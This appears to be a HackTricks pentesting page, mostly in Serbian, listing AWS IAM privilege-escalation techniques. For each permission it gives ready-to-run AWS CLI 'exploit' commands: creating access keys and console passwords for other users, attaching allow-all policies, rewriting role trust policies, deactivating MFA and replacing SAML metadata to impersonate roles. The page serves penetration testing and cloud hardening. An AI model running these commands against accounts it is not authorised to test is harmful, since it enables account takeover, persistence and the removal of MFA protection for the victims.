9.4 KiB
AWS - IAM Privesc
{{#include ../../../../banners/hacktricks-training.md}}
IAM
Za više informacija o IAM pogledajte:
{{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}}
iam:CreatePolicyVersion
Omogućava kreiranje nove IAM policy verzije, zaobilaženjem potrebe za dozvolom iam:SetDefaultPolicyVersion korišćenjem flaga --set-as-default. Ovo omogućava definisanje prilagođenih dozvola.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: Direktno eskalira privilegije omogućavajući izvršavanje bilo koje akcije nad bilo kojim resursom.
iam:SetDefaultPolicyVersion
Omogućava promenu podrazumevane verzije IAM policy-ja na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Uticaj: Indirektna privilege escalation omogućavanjem dodatnih dozvola.
iam:CreateAccessKey
Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Uticaj: Neposredna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu na AWS konzolu, što vodi do neposredne eskalacije privilegija.
Eksploit za kreiranje:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit za ažuriranje:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Uticaj: Direktna eskalacija privilegija prijavom kao korisnik "any".
iam:UpdateAccessKey
Dozvoljava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni access key.
Eksploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact: Direktna eskalacija privilegija ponovnim reaktiviranjem access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pridruženog korisnika.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit za Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Uticaj: Direktna eskalacija privilegija u okviru servisnih dozvola korisnika.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Omogućava prikačivanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačene politike.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit za grupu:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Uticaj: Direktna eskalacija privilegija na sve što politika dozvoljava.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Dozvoljava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola.
Eksploit za ulogu:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit za Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Možete koristiti politiku poput:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.
iam:AddUserToGroup
Omogućava dodavanje sebe u IAM grupu, čime se eskaliraju privilegije nasleđivanjem dozvola te grupe.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.
iam:UpdateAssumeRolePolicy
Omogućava izmenu assume role policy dokumenta role, čime se omogućava preuzimanje role i njenih pripadajućih dozvola.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Gde politika izgleda ovako, i time daje korisniku dozvolu da preuzme ulogu:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Uticaj: Direktna eskalacija privilegija preuzimanjem dozvola bilo koje uloge.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Dozvoljava otpremanje javnog SSH ključa za autentikaciju u CodeCommit i deaktivaciju MFA uređaja, što može dovesti do potencijalne indirektne eskalacije privilegija.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit za deaktivaciju MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Uticaj: Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.
iam:ResyncMFADevice
Dozvoljava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.
Bash komanda:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Uticaj: Indirect privilege escalation by adding or manipulating MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Sa ovim dozvolama možete promeniti XML metadata of the SAML connection. Zatim, možete zloupotrebiti SAML federation da se login sa bilo kojom role that is trusting it.
Imajte na umu da nakon ovoga legitimni korisnici neće moći da se login. Međutim, možete dobiti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: Alat sposoban da generiše SAML metapodatke i izvrši login sa zadatom role
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Nisam siguran u ovo) Ako napadač ima ove dozvole, mogao bi dodati novi Thumbprint i tako izvršiti login u svim role koje veruju provideru.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Ovo dopuštenje omogućava napadaču da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što će im omogućiti da izvrše radnje koje su inače ograničene njihovim postojećim dozvolama.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Akter sa iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako prikači permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Izvori
{{#include ../../../../banners/hacktricks-training.md}}